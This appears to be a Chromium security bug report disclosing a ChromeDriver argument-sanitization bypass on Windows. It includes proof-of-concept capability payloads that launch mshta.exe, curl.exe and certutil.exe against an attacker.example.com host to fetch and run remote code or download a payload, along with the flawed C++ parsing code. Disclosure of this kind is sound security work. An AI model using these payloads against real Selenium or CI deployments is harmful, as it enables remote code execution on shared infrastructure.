Steps to reproduce the problem

Proof of Concept

1. Observe the bypass via chrome://version

Start ChromeDriver locally and create a session:

{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "args": ["/c whoami", "-jar x.jar"]
    }
  }
}

Navigate to chrome://version. The Command Line field shows:

chrome.exe -jar /c --allow-pre-commit-input ... --flag-switches-end x.jar whoami data:,

x.jar and whoami appear after --flag-switches-end as bare positional arguments — no -- prefix.

2. Remote HTA execution via mshta.exe (no local file needed)

{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "binary": "C:\\Windows\\System32\\mshta.exe",
      "args": ["-x http://attacker.example.com/payload.hta"]
    }
  }
}

mshta.exe receives http://attacker.example.com/payload.hta as a positional argument, fetches the URL, and executes the HTA contents at OS level. No file on disk is required.

3. Outbound HTTP request via curl.exe (no local file needed)

{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "binary": "C:\\Windows\\System32\\curl.exe",
      "args": ["-s http://attacker.example.com/proof"]
    }
  }
}

curl.exe receives -s (silent) and http://attacker.example.com/proof (URL). The attacker’s server receives the request — confirming execution.

4. File download via certutil.exe (no local file needed)

{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "binary": "C:\\Windows\\System32\\certutil.exe",
      "args": ["-urlcache -split -f http://attacker.example.com/payload C:\\Users\\Public\\payload.exe"]
    }
  }
}

certutil downloads the remote file to a local path.

Problem Description

ChromeDriver prepends -- to all arguments passed via goog:chromeOptions.args to prevent meaningful argument injection to non-Chrome binaries launched via goog:chromeOptions.binary. This sanitization can be bypassed on Windows by including a space in the argument string.

When an argument like "-s http://attacker/exfil" is passed, SetUnparsedSwitch() stores the entire string as a single switch name. On Windows, GetCommandLineString() flattens argv_ into a string for CreateProcess(), and the space causes word splitting — producing a bare positional argument with no -- prefix.

The Bypass

SetUnparsedSwitch() in capabilities.cc splits arguments on = only. Spaces are not handled:

void Switches::SetUnparsedSwitch(const std::string& unparsed_switch) {
  std::string value;
  size_t equals_index = unparsed_switch.find('=');
  if (equals_index != std::string::npos)
    value = unparsed_switch.substr(equals_index + 1);

  std::string name;
  size_t start_index = 0;
  if (unparsed_switch.substr(0, 2) == "--")
    start_index = 2;
  name = unparsed_switch.substr(start_index, equals_index - start_index);
  SetSwitch(name, value);
}

An argument with a space (e.g., "-s http://attacker/exfil") is stored as a single switch name containing a space. AppendSwitchNative() inserts it into argv_ as one entry. On Windows, GetCommandLineString() flattens argv_ to a string without quoting the space, so CreateProcess() splits it into separate tokens:

• "-s http://attacker/exfil" → CreateProcess sees two tokens: -s (prefixed flag) and http://attacker/exfil (bare positional argument, no -- prefix)
• "-x http://attacker/evil.hta" → -x (prefixed flag) and http://attacker/evil.hta (bare positional)
• "/c whoami" → /c (prefixed flag) and whoami (bare positional) This enables passing attacker-controlled arguments to arbitrary binaries, including binaries that fetch and execute remote content with no local file precondition.

Additional Comments

Impact

The -- prefix sanitization is ChromeDriver’s primary control against argument injection to non-Chrome binaries. This bypass defeats it entirely, enabling:

• mshta.exe + "-x http://attacker/evil.hta" → fetches and executes remote HTA at OS level (no local file)
• curl.exe + "-s http://attacker/exfil" → outbound HTTP request to attacker (no local file)
• certutil.exe + "-urlcache -f http://attacker/p C:\Users\Public\p.exe" → downloads remote file to disk
• cscript.exe + "-B C:\path\to\script.vbs" → executes VBScript from disk
• java.exe + "-jar C:\path\to\payload.jar" → executes Java JAR
• cmd.exe + "/c whoami" → executes shell command

Affected environments: Selenium Grid deployments, cloud testing platforms, CI/CD pipelines — anywhere ChromeDriver accepts session capabilities from untrusted input.

Summary

ChromeDriver Argument Sanitization Bypass — Positional Argument Injection

Custom Questions

Reporter credit:

Ryan Jupp - HAAO

Additional Data

Category: Security
Chrome Channel: Not sure
Regression: N/A \